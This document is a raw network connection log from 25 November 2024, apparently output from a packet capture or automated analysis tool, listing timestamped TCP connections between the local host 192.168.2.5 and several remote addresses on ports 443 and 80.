Nov 25, 2024 18:28:29.204519033 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.266828060 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.266860962 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:29.267152071 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.267359972 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.267371893 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:29.267441988 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.267458916 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:29.283916950 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.283936024 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:29.423444986 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.423481941 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:29.423566103 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.569358110 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:29.569375038 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:30.174220085 CET	49752	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:30.174272060 CET	443	49752	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:30.174340010 CET	49752	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:30.175432920 CET	49752	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:30.175446987 CET	443	49752	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:30.358447075 CET	80	49727	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:30.358547926 CET	49727	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:30.860517979 CET	443	49745	94.245.104.56	192.168.2.5
Nov 25, 2024 18:28:31.005729914 CET	49745	443	192.168.2.5	94.245.104.56
Nov 25, 2024 18:28:31.005742073 CET	443	49745	94.245.104.56	192.168.2.5
Nov 25, 2024 18:28:31.007033110 CET	443	49745	94.245.104.56	192.168.2.5
Nov 25, 2024 18:28:31.007045031 CET	443	49745	94.245.104.56	192.168.2.5
Nov 25, 2024 18:28:31.007102966 CET	49745	443	192.168.2.5	94.245.104.56
Nov 25, 2024 18:28:31.020525932 CET	49745	443	192.168.2.5	94.245.104.56
Nov 25, 2024 18:28:31.020644903 CET	443	49745	94.245.104.56	192.168.2.5
Nov 25, 2024 18:28:31.020844936 CET	49745	443	192.168.2.5	94.245.104.56
Nov 25, 2024 18:28:31.020854950 CET	443	49745	94.245.104.56	192.168.2.5
Nov 25, 2024 18:28:31.086118937 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.131186008 CET	49745	443	192.168.2.5	94.245.104.56
Nov 25, 2024 18:28:31.168097973 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.184222937 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.277148962 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.277153969 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.332964897 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.338291883 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.403598070 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.405932903 CET	443	49745	94.245.104.56	192.168.2.5
Nov 25, 2024 18:28:31.406033039 CET	443	49745	94.245.104.56	192.168.2.5
Nov 25, 2024 18:28:31.406100988 CET	49745	443	192.168.2.5	94.245.104.56
Nov 25, 2024 18:28:31.527576923 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.527595997 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.530339003 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.531027079 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.531032085 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.533031940 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.533036947 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.533633947 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.533638954 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.534341097 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.534364939 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.534962893 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.534967899 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.535259008 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.535290956 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.535887003 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.535892010 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.537461042 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.537481070 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.537858963 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.537866116 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.752511024 CET	49745	443	192.168.2.5	94.245.104.56
Nov 25, 2024 18:28:31.752526045 CET	443	49745	94.245.104.56	192.168.2.5
Nov 25, 2024 18:28:31.860857964 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.860929012 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.860976934 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.861623049 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.861690044 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.861747026 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.870702982 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.871161938 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.871218920 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.871407032 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.871465921 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.871531010 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.872001886 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.872065067 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.872107983 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.904711008 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.904742002 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.904757977 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.904767036 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.907007933 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.907047987 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.907063961 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.907071114 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.907502890 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.907502890 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.907522917 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.907533884 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.907843113 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.907854080 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.907862902 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.907867908 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.910909891 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.910909891 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.910917044 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.910926104 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.956343889 CET	49727	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:31.956634045 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:31.971229076 CET	49762	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.971287966 CET	443	49762	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.971364021 CET	49762	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.972095013 CET	49763	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.972127914 CET	443	49763	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.972204924 CET	49763	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.973669052 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.973695040 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.973788023 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.979554892 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.979571104 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.979665041 CET	49762	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.979700089 CET	443	49762	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.979857922 CET	49763	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.979871035 CET	443	49763	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.981102943 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.981129885 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.981199980 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.981354952 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.981370926 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.981442928 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.981544018 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.981558084 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:31.982126951 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:31.982139111 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:32.076761007 CET	80	49727	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:32.076982021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:32.077076912 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:32.078283072 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:32.078341007 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:32.087771893 CET	443	49752	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:32.087850094 CET	49752	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:32.148207903 CET	49767	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:32.148247957 CET	443	49767	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:32.148361921 CET	49767	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:32.149234056 CET	49767	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:32.149246931 CET	443	49767	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:32.173849106 CET	49752	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:32.173871040 CET	443	49752	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:32.174176931 CET	443	49752	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:32.177252054 CET	49752	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:32.177282095 CET	49752	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:32.177328110 CET	443	49752	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:32.199259043 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:32.199271917 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:32.199281931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:32.199291945 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:32.986211061 CET	443	49752	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:32.986285925 CET	443	49752	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:32.986339092 CET	49752	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:32.987432003 CET	49752	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:32.987445116 CET	443	49752	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:32.987482071 CET	49752	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:32.987488985 CET	443	49752	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:33.033992052 CET	49772	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:33.034048080 CET	443	49772	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:33.034131050 CET	49772	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:33.034924030 CET	49772	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:33.034940004 CET	443	49772	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:33.091308117 CET	49773	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:33.091342926 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:33.091444969 CET	49773	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:33.091615915 CET	49773	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:33.091629028 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:33.108127117 CET	49774	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:33.108155966 CET	443	49774	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:33.108258963 CET	49774	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:33.108552933 CET	49774	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:33.108567953 CET	443	49774	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:33.109528065 CET	49775	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.109568119 CET	443	49775	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.109814882 CET	49775	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.110069036 CET	49775	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.110083103 CET	443	49775	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.127939939 CET	49776	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.127974987 CET	443	49776	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.128060102 CET	49776	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.129049063 CET	49776	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.129065037 CET	443	49776	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.298283100 CET	49774	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:33.299338102 CET	49777	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:33.299361944 CET	443	49777	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:33.299511909 CET	49777	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:33.313203096 CET	49775	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.313287020 CET	49767	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:33.314553022 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:33.314579964 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:33.314773083 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:33.315335989 CET	49782	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.315350056 CET	443	49782	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.315406084 CET	49782	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.316967010 CET	49777	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:33.316972971 CET	49776	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.316983938 CET	443	49777	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:33.317223072 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.317244053 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.317320108 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.318454027 CET	49782	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.318468094 CET	443	49782	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.318725109 CET	49779	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:33.318737984 CET	443	49779	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:33.321204901 CET	49787	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.321222067 CET	443	49787	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.339338064 CET	443	49774	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:33.355375051 CET	443	49767	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:33.359352112 CET	443	49775	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.359359980 CET	443	49776	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.711369991 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.737468958 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:33.737497091 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.738167048 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:33.738173962 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.767239094 CET	443	49763	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.767267942 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.767576933 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.768573999 CET	49763	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:33.768594980 CET	443	49763	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.768716097 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:33.768732071 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.769030094 CET	49763	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:33.769046068 CET	443	49763	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.769267082 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:33.769272089 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.769320965 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:33.769341946 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.769805908 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:33.769813061 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.772221088 CET	443	49762	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.772566080 CET	49762	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:33.772589922 CET	443	49762	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.773286104 CET	49762	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:33.773293018 CET	443	49762	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:33.812855005 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.812912941 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.813003063 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.813345909 CET	49788	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.813364029 CET	443	49788	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.826390982 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:33.826437950 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:33.826512098 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:33.826755047 CET	49789	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:33.826772928 CET	443	49789	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:33.853163958 CET	443	49767	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:33.853276014 CET	49767	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:33.853291035 CET	443	49767	172.217.19.225	192.168.2.5
Nov 25, 2024 18:28:33.853358030 CET	49767	443	192.168.2.5	172.217.19.225
Nov 25, 2024 18:28:33.965269089 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.965320110 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.965456009 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.965823889 CET	49790	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:33.965838909 CET	443	49790	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:33.980266094 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:33.980468988 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:34.133431911 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:34.188946962 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.189013004 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.189084053 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.189393044 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.189418077 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.189440012 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.189455986 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.193741083 CET	49791	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.193769932 CET	443	49791	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.193918943 CET	49791	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.195092916 CET	49791	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.195108891 CET	443	49791	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.212995052 CET	443	49763	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.213499069 CET	443	49763	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.213682890 CET	49763	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.213690996 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.213747978 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.213802099 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.215565920 CET	49763	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.215565920 CET	49763	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.215585947 CET	443	49763	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.215595961 CET	443	49763	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.218578100 CET	443	49762	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.218647003 CET	443	49762	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.222094059 CET	49762	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.223217010 CET	49762	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.223237038 CET	443	49762	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.223248959 CET	49762	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.223256111 CET	443	49762	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.235445976 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.235471964 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.235488892 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.235496044 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.239025116 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.239052057 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.239206076 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.240573883 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.240601063 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.240755081 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.240880966 CET	49792	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.240891933 CET	443	49792	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.241592884 CET	49793	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.241607904 CET	443	49793	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.244900942 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.244914055 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.245043993 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.245296001 CET	49794	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.245307922 CET	443	49794	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.255129099 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:34.305401087 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.305470943 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.305546045 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.308403969 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.308423996 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.308434010 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.308439016 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.313157082 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.313193083 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.313467979 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.313656092 CET	49795	443	192.168.2.5	13.107.246.63
Nov 25, 2024 18:28:34.313672066 CET	443	49795	13.107.246.63	192.168.2.5
Nov 25, 2024 18:28:34.451556921 CET	443	49776	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.451638937 CET	49776	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.453027010 CET	443	49775	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.453130007 CET	49775	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.490473986 CET	443	49774	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:34.490570068 CET	443	49774	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:34.490623951 CET	49774	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:34.490643978 CET	49774	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:34.534820080 CET	443	49782	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.535253048 CET	49782	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.535275936 CET	443	49782	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.536293030 CET	443	49782	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.536366940 CET	49782	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.537719965 CET	49782	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.537786007 CET	443	49782	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.538088083 CET	49782	443	192.168.2.5	162.159.61.3
Nov 25, 2024 18:28:34.579334021 CET	443	49782	162.159.61.3	192.168.2.5
Nov 25, 2024 18:28:34.580310106 CET	443	49777	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:34.580670118 CET	49777	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:34.580687046 CET	443	49777	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:34.581768990 CET	443	49777	172.64.41.3	192.168.2.5
